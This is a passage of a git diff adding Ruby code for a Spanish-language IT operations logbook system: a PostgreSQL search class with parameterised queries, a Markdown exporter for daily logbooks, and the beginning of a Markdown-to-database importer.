|
||||
|
||||
# Emoji para estado
|
||||
def estado_emoji(estado)
|
||||
case estado
|
||||
when '⏳' then '⏳'
|
||||
when '✅' then '✅'
|
||||
when '❌' then '❌'
|
||||
when '⚠️' then '⚠️'
|
||||
when '⏸️' then '⏸️'
|
||||
else estado
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,586 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/db/core/buscador_bd_simple.rb — Versión simplificada del sistema de búsqueda
|
||||
# ================================================================================
|
||||
# Versión simplificada y funcional del sistema de búsqueda para dtic-BITACORAs
|
||||
# Esta versión evita problemas complejos de parámetros y se enfoca en funcionalidad básica
|
||||
|
||||
require 'pg'
|
||||
require 'json'
|
||||
require 'csv'
|
||||
require 'date'
|
||||
|
||||
module BitacorasDB
|
||||
class BuscadorBDSimple
|
||||
# Configuración por defecto
|
||||
DEFAULT_LIMIT = 50
|
||||
DEFAULT_OFFSET = 0
|
||||
|
||||
# Inicializa el buscador con una conexión PostgreSQL
|
||||
#
|
||||
# @param connection [PG::Connection] Conexión activa a PostgreSQL
|
||||
# @param logger [Object] Instancia de logger (opcional)
|
||||
def initialize(connection, logger = nil)
|
||||
@conn = connection
|
||||
@logger = logger
|
||||
end
|
||||
|
||||
# Búsqueda simple en entradas
|
||||
#
|
||||
# @param texto [String, nil] Texto para búsqueda (LIKE)
|
||||
# @param estado [String, nil] Estado de la entrada (⏳, ✅, ❌, ⚠️, ⏸️)
|
||||
# @param modo [String, nil] Modo de trabajo (P, R)
|
||||
# @param nodo_id [Integer, nil] ID del nodo
|
||||
# @param limite [Integer] Límite de resultados
|
||||
# @param offset [Integer] Desplazamiento para paginación
|
||||
# @param formato [Symbol] Formato de salida (:hash, :json, :texto)
|
||||
#
|
||||
# @return [Array<Hash>, String] Resultados en formato especificado
|
||||
def buscar_entradas_simple(
|
||||
texto: nil,
|
||||
estado: nil,
|
||||
modo: nil,
|
||||
nodo_id: nil,
|
||||
limite: DEFAULT_LIMIT,
|
||||
offset: DEFAULT_OFFSET,
|
||||
formato: :hash
|
||||
)
|
||||
|
||||
condiciones = []
|
||||
parametros = []
|
||||
contador = 1
|
||||
|
||||
# Búsqueda por texto
|
||||
if texto && !texto.strip.empty?
|
||||
condiciones << "e.descripcion ILIKE $#{contador}"
|
||||
parametros << "%#{texto}%"
|
||||
contador += 1
|
||||
end
|
||||
|
||||
# Filtros
|
||||
if estado
|
||||
condiciones << "e.estado = $#{contador}"
|
||||
parametros << estado
|
||||
contador += 1
|
||||
end
|
||||
|
||||
if modo
|
||||
condiciones << "e.modo = $#{contador}"
|
||||
parametros << modo
|
||||
contador += 1
|
||||
end
|
||||
|
||||
if nodo_id
|
||||
condiciones << "e.nodo_id = $#{contador}"
|
||||
parametros << nodo_id
|
||||
contador += 1
|
||||
end
|
||||
|
||||
# Construir consulta SQL
|
||||
where_clause = condiciones.any? ? "WHERE #{condiciones.join(' AND ')}" : ""
|
||||
|
||||
sql = <<-SQL
|
||||
SELECT
|
||||
e.id, e.inicio, e.fin, e.descripcion, e.estado, e.modo, e.es_ia,
|
||||
e.tema_id, e.bitacora_id, e.nodo_id, e.created_at, e.updated_at,
|
||||
n.nombre as nodo_nombre, n.tipo as nodo_tipo,
|
||||
t.titulo as tema_titulo,
|
||||
b.fecha as bitacora_fecha
|
||||
FROM bitacoras.entradas e
|
||||
LEFT JOIN bitacoras.nodos n ON e.nodo_id = n.id
|
||||
LEFT JOIN bitacoras.temas t ON e.tema_id = t.id
|
||||
LEFT JOIN bitacoras.bitacoras b ON e.bitacora_id = b.id
|
||||
#{where_clause}
|
||||
ORDER BY e.created_at DESC
|
||||
LIMIT $#{contador} OFFSET $#{contador + 1}
|
||||
SQL
|
||||
|
||||
# Agregar límite y offset a parámetros
|
||||
parametros << limite
|
||||
parametros << offset
|
||||
|
||||
# Ejecutar consulta
|
||||
resultados = @conn.exec_params(sql, parametros)
|
||||
|
||||
# Formatear resultados
|
||||
case formato
|
||||
when :hash
|
||||
resultados.to_a
|
||||
when :json
|
||||
JSON.pretty_generate(resultados.to_a)
|
||||
when :texto
|
||||
formatar_resultados_texto(resultados)
|
||||
else
|
||||
resultados.to_a
|
||||
end
|
||||
end
|
||||
|
||||
# Búsqueda simple en nodos
|
||||
#
|
||||
# @param texto [String, nil] Texto para búsqueda en nombre o descripción
|
||||
# @param tipo [String, nil] Tipo de nodo (servidor, vm, pc, etc.)
|
||||
# @param activo [Boolean, nil] Estado activo/inactivo
|
||||
# @param limite [Integer] Límite de resultados
|
||||
# @param offset [Integer] Desplazamiento
|
||||
# @param formato [Symbol] Formato de salida
|
||||
#
|
||||
# @return [Array<Hash>, String] Resultados
|
||||
def buscar_nodos_simple(
|
||||
texto: nil,
|
||||
tipo: nil,
|
||||
activo: nil,
|
||||
limite: DEFAULT_LIMIT,
|
||||
offset: DEFAULT_OFFSET,
|
||||
formato: :hash
|
||||
)
|
||||
|
||||
condiciones = []
|
||||
parametros = []
|
||||
contador = 1
|
||||
|
||||
# Búsqueda por texto
|
||||
if texto && !texto.strip.empty?
|
||||
condiciones << "(nombre ILIKE $#{contador} OR descripcion ILIKE $#{contador})"
|
||||
parametros << "%#{texto}%"
|
||||
contador += 1
|
||||
end
|
||||
|
||||
# Filtros
|
||||
if tipo
|
||||
condiciones << "tipo = $#{contador}"
|
||||
parametros << tipo
|
||||
contador += 1
|
||||
end
|
||||
|
||||
if !activo.nil?
|
||||
condiciones << "activo = $#{contador}"
|
||||
parametros << activo
|
||||
contador += 1
|
||||
end
|
||||
|
||||
# Construir consulta
|
||||
where_clause = condiciones.any? ? "WHERE #{condiciones.join(' AND ')}" : ""
|
||||
sql = <<-SQL
|
||||
SELECT id, nombre, ip, tipo, descripcion, activo, created_at, updated_at
|
||||
FROM bitacoras.nodos
|
||||
#{where_clause}
|
||||
ORDER BY nombre ASC
|
||||
LIMIT $#{contador} OFFSET $#{contador + 1}
|
||||
SQL
|
||||
|
||||
parametros << limite
|
||||
parametros << offset
|
||||
|
||||
resultados = @conn.exec_params(sql, parametros)
|
||||
|
||||
case formato
|
||||
when :hash
|
||||
resultados.to_a
|
||||
when :json
|
||||
JSON.pretty_generate(resultados.to_a)
|
||||
when :texto
|
||||
formatar_resultados_texto(resultados)
|
||||
else
|
||||
resultados.to_a
|
||||
end
|
||||
end
|
||||
|
||||
# Búsqueda simple en temas
|
||||
#
|
||||
# @param texto [String, nil] Texto para búsqueda en título o descripción
|
||||
# @param estado [String, nil] Estado del tema
|
||||
# @param nodo_id [Integer, nil] ID del nodo
|
||||
# @param limite [Integer] Límite de resultados
|
||||
# @param offset [Integer] Desplazamiento
|
||||
# @param formato [Symbol] Formato de salida
|
||||
#
|
||||
# @return [Array<Hash>, String] Resultados
|
||||
def buscar_temas_simple(
|
||||
texto: nil,
|
||||
estado: nil,
|
||||
nodo_id: nil,
|
||||
limite: DEFAULT_LIMIT,
|
||||
offset: DEFAULT_OFFSET,
|
||||
formato: :hash
|
||||
)
|
||||
|
||||
condiciones = []
|
||||
parametros = []
|
||||
contador = 1
|
||||
|
||||
# Búsqueda por texto
|
||||
if texto && !texto.strip.empty?
|
||||
condiciones << "(titulo ILIKE $#{contador} OR descripcion ILIKE $#{contador})"
|
||||
parametros << "%#{texto}%"
|
||||
contador += 1
|
||||
end
|
||||
|
||||
# Filtros
|
||||
if estado
|
||||
condiciones << "estado = $#{contador}"
|
||||
parametros << estado
|
||||
contador += 1
|
||||
end
|
||||
|
||||
if nodo_id
|
||||
condiciones << "nodo_id = $#{contador}"
|
||||
parametros << nodo_id
|
||||
contador += 1
|
||||
end
|
||||
|
||||
# Construir consulta
|
||||
where_clause = condiciones.any? ? "WHERE #{condiciones.join(' AND ')}" : ""
|
||||
sql = <<-SQL
|
||||
SELECT id, id_tema, titulo, estado, descripcion,
|
||||
nodo_id, bitacora_id, created_at, updated_at
|
||||
FROM bitacoras.temas
|
||||
#{where_clause}
|
||||
ORDER BY titulo ASC
|
||||
LIMIT $#{contador} OFFSET $#{contador + 1}
|
||||
SQL
|
||||
|
||||
parametros << limite
|
||||
parametros << offset
|
||||
|
||||
resultados = @conn.exec_params(sql, parametros)
|
||||
|
||||
case formato
|
||||
when :hash
|
||||
resultados.to_a
|
||||
when :json
|
||||
JSON.pretty_generate(resultados.to_a)
|
||||
when :texto
|
||||
formatar_resultados_texto(resultados)
|
||||
else
|
||||
resultados.to_a
|
||||
end
|
||||
end
|
||||
|
||||
# Búsqueda simple en bitácoras
|
||||
#
|
||||
# @param texto [String, nil] Texto para búsqueda en resumen
|
||||
# @param fecha_desde [Date, String, nil] Fecha inicial
|
||||
# @param fecha_hasta [Date, String, nil] Fecha final
|
||||
# @param limite [Integer] Límite de resultados
|
||||
# @param offset [Integer] Desplazamiento
|
||||
# @param formato [Symbol] Formato de salida
|
||||
#
|
||||
# @return [Array<Hash>, String] Resultados
|
||||
def buscar_bitacoras_simple(
|
||||
texto: nil,
|
||||
fecha_desde: nil,
|
||||
fecha_hasta: nil,
|
||||
limite: DEFAULT_LIMIT,
|
||||
offset: DEFAULT_OFFSET,
|
||||
formato: :hash
|
||||
)
|
||||
|
||||
condiciones = []
|
||||
parametros = []
|
||||
contador = 1
|
||||
|
||||
# Búsqueda por texto
|
||||
if texto && !texto.strip.empty?
|
||||
condiciones << "resumen ILIKE $#{contador}"
|
||||
parametros << "%#{texto}%"
|
||||
contador += 1
|
||||
end
|
||||
|
||||
# Filtro por fecha
|
||||
if fecha_desde
|
||||
condiciones << "fecha >= $#{contador}"
|
||||
parametros << fecha_desde
|
||||
contador += 1
|
||||
end
|
||||
|
||||
if fecha_hasta
|
||||
condiciones << "fecha <= $#{contador}"
|
||||
parametros << fecha_hasta
|
||||
contador += 1
|
||||
end
|
||||
|
||||
# Construir consulta
|
||||
where_clause = condiciones.any? ? "WHERE #{condiciones.join(' AND ')}" : ""
|
||||
sql = <<-SQL
|
||||
SELECT id, fecha, resumen, created_at, updated_at
|
||||
FROM bitacoras.bitacoras
|
||||
#{where_clause}
|
||||
ORDER BY fecha DESC
|
||||
LIMIT $#{contador} OFFSET $#{contador + 1}
|
||||
SQL
|
||||
|
||||
parametros << limite
|
||||
parametros << offset
|
||||
|
||||
resultados = @conn.exec_params(sql, parametros)
|
||||
|
||||
case formato
|
||||
when :hash
|
||||
resultados.to_a
|
||||
when :json
|
||||
JSON.pretty_generate(resultados.to_a)
|
||||
when :texto
|
||||
formatar_resultados_texto(resultados)
|
||||
else
|
||||
resultados.to_a
|
||||
end
|
||||
end
|
||||
|
||||
# Búsqueda avanzada simple (múltiples tablas)
|
||||
#
|
||||
# @param texto [String] Texto para búsqueda en múltiples tablas
|
||||
# @param limite_por_tipo [Integer] Límite por tipo de entidad
|
||||
#
|
||||
# @return [Hash] Resultados agrupados por tipo
|
||||
def buscar_avanzado_simple(texto:, limite_por_tipo: 5)
|
||||
resultados = {}
|
||||
|
||||
# Buscar en entradas
|
||||
begin
|
||||
resultados[:entradas] = buscar_entradas_simple(
|
||||
texto: texto,
|
||||
limite: limite_por_tipo,
|
||||
formato: :hash
|
||||
)
|
||||
rescue => e
|
||||
resultados[:entradas_error] = e.message
|
||||
end
|
||||
|
||||
# Buscar en nodos
|
||||
begin
|
||||
resultados[:nodos] = buscar_nodos_simple(
|
||||
texto: texto,
|
||||
limite: limite_por_tipo,
|
||||
formato: :hash
|
||||
)
|
||||
rescue => e
|
||||
resultados[:nodos_error] = e.message
|
||||
end
|
||||
|
||||
# Buscar en temas
|
||||
begin
|
||||
resultados[:temas] = buscar_temas_simple(
|
||||
texto: texto,
|
||||
limite: limite_por_tipo,
|
||||
formato: :hash
|
||||
)
|
||||
rescue => e
|
||||
resultados[:temas_error] = e.message
|
||||
end
|
||||
|
||||
# Buscar en bitácoras
|
||||
begin
|
||||
resultados[:bitacoras] = buscar_bitacoras_simple(
|
||||
texto: texto,
|
||||
limite: limite_por_tipo,
|
||||
formato: :hash
|
||||
)
|
||||
rescue => e
|
||||
resultados[:bitacoras_error] = e.message
|
||||
end
|
||||
|
||||
# Calcular estadísticas
|
||||
total = 0
|
||||
[:entradas, :nodos, :temas, :bitacoras].each do |tipo|
|
||||
if resultados[tipo].is_a?(Array)
|
||||
total += resultados[tipo].size
|
||||
end
|
||||
end
|
||||
|
||||
resultados[:estadisticas] = {
|
||||
total_resultados: total,
|
||||
texto_buscado: texto,
|
||||
timestamp: Time.now.iso8601
|
||||
}
|
||||
|
||||
resultados
|
||||
end
|
||||
|
||||
# Crear índices básicos para optimización
|
||||
#
|
||||
# @return [Hash] Resultado de la operación
|
||||
def crear_indices_basicos
|
||||
indices = [
|
||||
# Índices para búsqueda por texto
|
||||
"CREATE INDEX IF NOT EXISTS idx_entradas_descripcion ON bitacoras.entradas(descripcion)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_nodos_nombre ON bitacoras.nodos(nombre)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_temas_titulo ON bitacoras.temas(titulo)",
|
||||
|
||||
# Índices para filtrado frecuente
|
||||
"CREATE INDEX IF NOT EXISTS idx_entradas_estado ON bitacoras.entradas(estado)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_entradas_created_at ON bitacoras.entradas(created_at)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_bitacoras_fecha ON bitacoras.bitacoras(fecha)",
|
||||
|
||||
# Índices para joins
|
||||
"CREATE INDEX IF NOT EXISTS idx_entradas_nodo_id ON bitacoras.entradas(nodo_id)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_entradas_tema_id ON bitacoras.entradas(tema_id)"
|
||||
]
|
||||
|
||||
resultados = []
|
||||
indices.each do |sql|
|
||||
begin
|
||||
@conn.exec(sql)
|
||||
resultados << { indice: sql.split(' ON ').first, estado: 'creado' }
|
||||
@logger&.info("Índice creado: #{sql.split(' ON ').first}") if @logger
|
||||
rescue PG::Error => e
|
||||
resultados << { indice: sql.split(' ON ').first, estado: 'error', error: e.message }
|
||||
@logger&.error("Error creando índice: #{e.message}") if @logger
|
||||
end
|
||||
end
|
||||
|
||||
{
|
||||
total_indices: indices.size,
|
||||
creados: resultados.count { |r| r[:estado] == 'creado' },
|
||||
errores: resultados.count { |r| r[:estado] == 'error' },
|
||||
detalles: resultados
|
||||
}
|
||||
end
|
||||
|
||||
# Obtener estadísticas básicas del sistema
|
||||
#
|
||||
# @return [Hash] Estadísticas
|
||||
def estadisticas_basicas
|
||||
estadisticas = {}
|
||||
|
||||
# Conteo por tabla
|
||||
tablas = ['nodos', 'bitacoras', 'temas', 'entradas']
|
||||
tablas.each do |tabla|
|
||||
begin
|
||||
count = @conn.exec("SELECT COUNT(*) as total FROM bitacoras.#{tabla}")[0]['total']
|
||||
estadisticas[tabla.to_sym] = count.to_i
|
||||
rescue => e
|
||||
estadisticas["#{tabla}_error".to_sym] = e.message
|
||||
end
|
||||
end
|
||||
|
||||
# Entradas por estado
|
||||
begin
|
||||
query = "SELECT estado, COUNT(*) as total FROM bitacoras.entradas GROUP BY estado ORDER BY total DESC"
|
||||
resultados = @conn.exec(query)
|
||||
estadisticas[:entradas_por_estado] = resultados.to_a
|
||||
rescue => e
|
||||
estadisticas[:entradas_por_estado_error] = e.message
|
||||
end
|
||||
|
||||
# Entradas por modo
|
||||
begin
|
||||
query = "SELECT modo, COUNT(*) as total FROM bitacoras.entradas GROUP BY modo ORDER BY total DESC"
|
||||
resultados = @conn.exec(query)
|
||||
estadisticas[:entradas_por_modo] = resultados.to_a
|
||||
rescue => e
|
||||
estadisticas[:entradas_por_modo_error] = e.message
|
||||
end
|
||||
|
||||
# Entradas generadas por IA
|
||||
begin
|
||||
query = "SELECT COUNT(*) as total FROM bitacoras.entradas WHERE es_ia = true"
|
||||
count = @conn.exec(query)[0]['total']
|
||||
estadisticas[:entradas_ia] = count.to_i
|
||||
|
||||
total_entradas = estadisticas[:entradas] || 0
|
||||
if total_entradas > 0
|
||||
porcentaje = (count.to_f / total_entradas * 100).round(2)
|
||||
estadisticas[:porcentaje_ia] = porcentaje
|
||||
end
|
||||
rescue => e
|
||||
estadisticas[:entradas_ia_error] = e.message
|
||||
end
|
||||
|
||||
estadisticas[:timestamp] = Time.now.iso8601
|
||||
estadisticas
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Formatear resultados como texto legible
|
||||
def formatar_resultados_texto(resultados)
|
||||
return "No se encontraron resultados" if resultados.ntuples == 0
|
||||
|
||||
output = []
|
||||
output << "📊 Resultados encontrados: #{resultados.ntuples}"
|
||||
output << "=" * 60
|
||||
|
||||
resultados.each_with_index do |row, index|
|
||||
# Determinar título según la tabla
|
||||
titulo = row['descripcion'] || row['nombre'] || row['titulo'] || row['resumen'] || "Sin título"
|
||||
|
||||
output << "\n#{index + 1}. #{titulo[0..80]}#{'...' if titulo.length > 80}"
|
||||
output << " " + "-" * 40
|
||||
|
||||
# Mostrar campos relevantes
|
||||
campos_mostrar = []
|
||||
|
||||
if row['estado']
|
||||
emoji = case row['estado']
|
||||
when '⏳' then '⏳'
|
||||
when '✅' then '✅'
|
||||
when '❌' then '❌'
|
||||
when '⚠️' then '⚠️'
|
||||
when '⏸️' then '⏸️'
|
||||
else row['estado']
|
||||
end
|
||||
campos_mostrar << "Estado: #{emoji}"
|
||||
end
|
||||
|
||||
if row['nodo_nombre']
|
||||
campos_mostrar << "Nodo: #{row['nodo_nombre']}"
|
||||
elsif row['nodo_id']
|
||||
campos_mostrar << "Nodo ID: #{row['nodo_id']}"
|
||||
end
|
||||
|
||||
if row['tema_titulo']
|
||||
campos_mostrar << "Tema: #{row['tema_titulo']}"
|
||||
end
|
||||
|
||||
if row['bitacora_fecha']
|
||||
campos_mostrar << "Bitácora: #{row['bitacora_fecha']}"
|
||||
end
|
||||
|
||||
if row['inicio']
|
||||
hora = row['inicio'].to_s[0..4] # HH:MM
|
||||
campos_mostrar << "Inicio: #{hora}"
|
||||
end
|
||||
|
||||
if row['fin']
|
||||
hora = row['fin'].to_s[0..4] # HH:MM
|
||||
campos_mostrar << "Fin: #{hora}"
|
||||
end
|
||||
|
||||
if row['created_at']
|
||||
fecha = DateTime.parse(row['created_at'].to_s).strftime('%Y-%m-%d %H:%M')
|
||||
campos_mostrar << "Creado: #{fecha}"
|
||||
end
|
||||
|
||||
if row['fecha']
|
||||
campos_mostrar << "Fecha: #{row['fecha']}"
|
||||
end
|
||||
|
||||
if row['tipo']
|
||||
campos_mostrar << "Tipo: #{row['tipo']}"
|
||||
end
|
||||
|
||||
if row['activo']
|
||||
estado = row['activo'] == 't' ? 'Activo' : 'Inactivo'
|
||||
campos_mostrar << "Estado: #{estado}"
|
||||
end
|
||||
|
||||
if row['es_ia']
|
||||
es_ia = row['es_ia'] == 't' ? 'Sí' : 'No'
|
||||
campos_mostrar << "Generado por IA: #{es_ia}"
|
||||
end
|
||||
|
||||
# Mostrar campos (máximo 5 para no saturar)
|
||||
campos_mostrar.first(5).each do |campo|
|
||||
output << " • #{campo}"
|
||||
end
|
||||
|
||||
# Si hay más campos, mostrar indicador
|
||||
if campos_mostrar.size > 5
|
||||
output << " • ... (#{campos_mostrar.size - 5} campos más)"
|
||||
end
|
||||
end
|
||||
|
||||
output.join("\n")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,130 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
require 'date'
|
||||
|
||||
module BitacorasDB
|
||||
module Exporters
|
||||
class MDExporter
|
||||
def initialize(db, logger = nil)
|
||||
@db = db
|
||||
@logger = logger || default_logger
|
||||
end
|
||||
|
||||
def exportar_bitacora(fecha, ruta_destino)
|
||||
@logger.info("Exportando bitácora #{fecha} a #{ruta_destino}...")
|
||||
|
||||
bitacora = @db.find_bitacora_by_fecha(fecha)
|
||||
unless bitacora
|
||||
@logger.error("No se encontró la bitácora para la fecha: #{fecha}")
|
||||
return false
|
||||
end
|
||||
|
||||
bitacora_id = bitacora['id']
|
||||
|
||||
# Obtener datos estructurados (incluyendo lo nuevo)
|
||||
entradas = @db.execute("
|
||||
SELECT e.*, n.nombre as nodo_nombre
|
||||
FROM bitacoras.entradas e
|
||||
LEFT JOIN bitacoras.nodos n ON e.nodo_id = n.id
|
||||
WHERE e.bitacora_id = $1
|
||||
ORDER BY n.nombre, e.inicio ASC
|
||||
", [bitacora_id])
|
||||
|
||||
gestion = @db.execute("
|
||||
SELECT g.*, n.nombre as nodo_nombre
|
||||
FROM bitacoras.gestion g
|
||||
LEFT JOIN bitacoras.nodos n ON g.nodo_id = n.id
|
||||
WHERE g.bitacora_id = $1 OR g.activo = true
|
||||
ORDER BY g.tipo, g.orden
|
||||
", [bitacora_id]) rescue [] # Por si la tabla no existe aún en otros entornos
|
||||
|
||||
resumenes = @db.execute("
|
||||
SELECT r.*, n.nombre as nodo_nombre
|
||||
FROM bitacoras.resumen_nodos r
|
||||
JOIN bitacoras.nodos n ON r.nodo_id = n.id
|
||||
WHERE r.bitacora_id = $1
|
||||
", [bitacora_id]) rescue []
|
||||
|
||||
# Generar contenido Markdown
|
||||
contenido = generar_markdown(fecha, bitacora['resumen'], gestion, resumenes, entradas)
|
||||
|
||||
File.write(ruta_destino, contenido)
|
||||
@logger.info("✅ Exportación completada con éxito.")
|
||||
true
|
||||
rescue => e
|
||||
@logger.error("Error exportando bitácora: #{e.message}")
|
||||
false
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def generar_markdown(fecha, resumen_gen, gestion, resumenes, entradas)
|
||||
y, m, d = fecha.to_s.split('-')
|
||||
md = String.new("<!-- GENERADO AUTOMÁTICAMENTE por adn db exportar:md — No editar manualmente -->\n")
|
||||
md << "# Bitácora de Operaciones - #{d}/#{m}/#{y}\n\n"
|
||||
|
||||
if gestion && gestion.ntuples > 0
|
||||
md << "## 📋 Control de Gestión\n\n"
|
||||
|
||||
pendientes = gestion.select { |g| g['tipo'] == 'pendiente' }
|
||||
if pendientes.any?
|
||||
md << "### 📝 Resumen de Actividades\n" # Formato ADN
|
||||
md << "| NODO | PENDIENTES |\n| :--- | :--- |\n"
|
||||
pendientes.each do |p|
|
||||
md << "| #{p['nodo_nombre'] || '—'} | #{p['detalle']} |\n"
|
||||
end
|
||||
md << "\n"
|
||||
end
|
||||
|
||||
en_proceso = gestion.select { |g| g['tipo'] == 'proceso' }
|
||||
if en_proceso.any?
|
||||
md << "### ⏳ En Proceso\n"
|
||||
md << "| NODO | ACTIVIDAD |\n| :--- | :--- |\n"
|
||||
en_proceso.each do |p|
|
||||
md << "| #{p['nodo_nombre'] || '—'} | #{p['detalle']} |\n"
|
||||
end
|
||||
md << "\n"
|
||||
end
|
||||
end
|
||||
|
||||
if resumenes && resumenes.ntuples > 0
|
||||
md << "### 📝 Resumen Integral\n"
|
||||
md << "| NODO | RESUMEN INTEGRAL |\n| :--- | :--- |\n"
|
||||
resumenes.each do |r|
|
||||
md << "| #{r['nodo_nombre']} | #{r['resumen']} |\n"
|
||||
end
|
||||
md << "\n"
|
||||
end
|
||||
|
||||
md << "## 📂 Actividades Detalladas\n\n"
|
||||
|
||||
por_nodo = entradas.group_by { |e| e['nodo_nombre'] || 'sin-nodo' }
|
||||
por_nodo.each do |nodo, entries|
|
||||
md << "### #{nodo}\n\n"
|
||||
md << "| I | F | Descripción | E |\n"
|
||||
md << "| :--- | :--- | :--- | :--- |\n"
|
||||
entries.each do |e|
|
||||
inicio = e['inicio'] ? e['inicio'][0..4] : '-'
|
||||
fin = e['fin'] ? e['fin'][0..4] : '-'
|
||||
ia = e['es_ia'] == 't' ? '(IA) ' : ''
|
||||
estado = "[#{e['modo']}] #{e['estado']}"
|
||||
md << "| #{inicio} | #{fin} | #{ia}#{e['descripcion']} | #{estado} |\n"
|
||||
end
|
||||
md << "\n"
|
||||
end
|
||||
|
||||
md << "---\n"
|
||||
md << "<!-- GENERADO AUTOMÁTICAMENTE desde PostgreSQL el #{Time.now.strftime('%Y-%m-%d %H:%M')} -->\n"
|
||||
md << "<!-- Fuente de verdad: DB. Regenerar con: adn db exportar:md #{fecha} -->\n"
|
||||
md
|
||||
end
|
||||
|
||||
def default_logger
|
||||
Class.new do
|
||||
def info(msg); puts "[INFO] #{msg}"; end
|
||||
def error(msg); puts "[ERROR] #{msg}"; end
|
||||
end.new
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,639 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/db/importers/md_importer.rb — Importador de bitácoras .md a PostgreSQL
|
||||
# ================================================================================
|
||||
# Esta clase convierte bitácoras en formato Markdown al esquema de base de datos
|
||||
# dtic-BITACORAs. Procesa la estructura jerárquica:
|
||||
# Archivo .md → Bitácora → Nodos → Temas → Entradas (I-F-D-E)
|
||||
#
|
||||
# Formato de entrada (.md):
|
||||
# # Bitácora 2026-02-28
|
||||
# ## Control de Gestión
|
||||
# ### 📝 Resumen de Actividades
|
||||
# | NODO | RESUMEN INTEGRAL |
|
||||
# | :--- | :--- |
|
||||
# | srv-ns8 | Resumen del día... |
|
||||
#
|
||||
# ## 📂 Actividades Detalladas
|
||||
# ### srv-ns8
|
||||
# #### ✅ - SEC01 - Refactorización ns8-candados
|
||||
# | I | F | Descripción | E |
|
||||
# | :--- | :--- | :--- | :--- |
|
||||
# | 08:00 | 08:34 | Refactorización ns8-candados... | [P] ✅ |
|
||||
#
|
||||
# Uso:
|
||||
# importer = MDImporter.new(db_connection)
|
||||
# resultado = importer.importar_bitacora('bitacoras/2026-02-28.md')
|
||||
# resultado = importer.importar_todo_directorio('bitacoras/')
|
||||
#
|
||||
# Dependencias: Clase BitacoraDB del módulo BitacorasDB
|
||||
|
||||
require 'date'
|
||||
require 'time'
|
||||
require 'yaml'
|
||||
require 'digest'
|
||||
|
||||
module BitacorasDB
|
||||
module Importers
|
||||
class MDImporter
|
||||
# Estados posibles en archivos .md y su mapeo a BD
|
||||
ESTADOS_MD = {
|
||||
'✅' => '✅',
|
||||
'❌' => '❌',
|
||||
'⚠️' => '⚠️',
|
||||
'⏸️' => '⏸️',
|
||||
'⏳' => '⏳',
|
||||
'👁️' => '⏳', # Sincronización mapea a ⏳
|
||||
'➡️' => '⏳', # Tarea continúa en otro día
|
||||
'🎭' => '✅' # Evento/Servicio
|
||||
}.freeze
|
||||
|
||||
# Modos posibles en archivos .md
|
||||
MODOS_MD = {
|
||||
'[P]' => 'P', # Presencial
|
||||
'[R]' => 'R', # Remoto
|
||||
'[P/R]' => 'P', # Presencial/Remoto -> Presencial por defecto
|
||||
'[S]' => 'S' # Servicio (No nodo técnico)
|
||||
}.freeze
|
||||
|
||||
# Tipos de nodo inferidos del nombre
|
||||
TIPOS_NODO = {
|
||||
/^srv-/ => 'servidor',
|
||||
/^dc-/ => 'vm',
|
||||
/^sql-/ => 'vm',
|
||||
/^pcv-/ => 'vm',
|
||||
/^pc-/ => 'pc',
|
||||
/^srvv-/ => 'vm',
|
||||
/^dtic-/ => 'servicio',
|
||||
/-pmox\d+$/ => 'hipervisor',
|
||||
/-xen\d+$/ => 'hipervisor'
|
||||
}.freeze
|
||||
|
||||
# Inicializa el importador con conexión a base de datos
|
||||
#
|
||||
# @param db [BitacoraDB] Instancia de BitacoraDB para operaciones
|
||||
# @param logger [Object] Logger para registro (opcional)
|
||||
def initialize(db, logger = nil)
|
||||
@db = db
|
||||
@logger = logger || default_logger
|
||||
@estadisticas = {
|
||||
archivos_procesados: 0,
|
||||
bitacoras_creadas: 0,
|
||||
nodos_creados: 0,
|
||||
temas_creados: 0,
|
||||
entradas_creadas: 0,
|
||||
errores: []
|
||||
}
|
||||
end
|
||||
|
||||
# Importa una bitácora específica desde archivo .md
|
||||
#
|
||||
# @param ruta_md [String] Ruta al archivo .md
|
||||
# @param opciones [Hash] Opciones de importación
|
||||
# :sobrescribir [Boolean] Sobrescribir bitácora si ya existe (default: false)
|
||||
# :crear_nodos [Boolean] Crear nodos automáticamente si no existen (default: true)
|
||||
# @return [Hash] Resultado de la importación con estadísticas
|
||||
def importar_bitacora(ruta_md, opciones = {})
|
||||
defaults = { sobrescribir: false, crear_nodos: true }
|
||||
opciones = defaults.merge(opciones)
|
||||
|
||||
@estadisticas[:archivos_procesados] += 1
|
||||
|
||||
begin
|
||||
# Leer y parsear archivo
|
||||
contenido = File.read(ruta_md, encoding: 'UTF-8')
|
||||
fecha = extraer_fecha_desde_ruta(ruta_md) || extraer_fecha_desde_contenido(contenido)
|
||||
|
||||
if fecha.nil?
|
||||
error = "No se pudo determinar fecha del archivo: #{ruta_md}"
|
||||
@logger.error(error)
|
||||
@estadisticas[:errores] << error
|
||||
return { error: error }
|
||||
end
|
||||
|
||||
@logger.info("Importando bitácora #{fecha} desde #{ruta_md}")
|
||||
|
||||
# Verificar si ya existe bitácora
|
||||
bitacora_existente = @db.find_bitacora_by_fecha(fecha)
|
||||
if bitacora_existente && !opciones[:sobrescribir]
|
||||
@logger.advertencia("Bitácora #{fecha} ya existe, omitiendo (use --sobrescribir)")
|
||||
return {
|
||||
skip: true,
|
||||
mensaje: "Bitácora ya existe",
|
||||
bitacora_id: bitacora_existente['id'],
|
||||
estadisticas: @estadisticas
|
||||
}
|
||||
end
|
||||
|
||||
# Parsear contenido
|
||||
estructura = parsear_contenido(contenido, fecha)
|
||||
|
||||
# Importar a base de datos
|
||||
resultado = importar_estructura(estructura, opciones)
|
||||
|
||||
resultado.merge(
|
||||
exitoso: resultado[:errores].empty?,
|
||||
fecha: fecha,
|
||||
estadisticas: @estadisticas.dup
|
||||
)
|
||||
|
||||
rescue => e
|
||||
error = "Error importando #{ruta_md}: #{e.message}"
|
||||
@logger.error(error)
|
||||
@estadisticas[:errores] << error
|
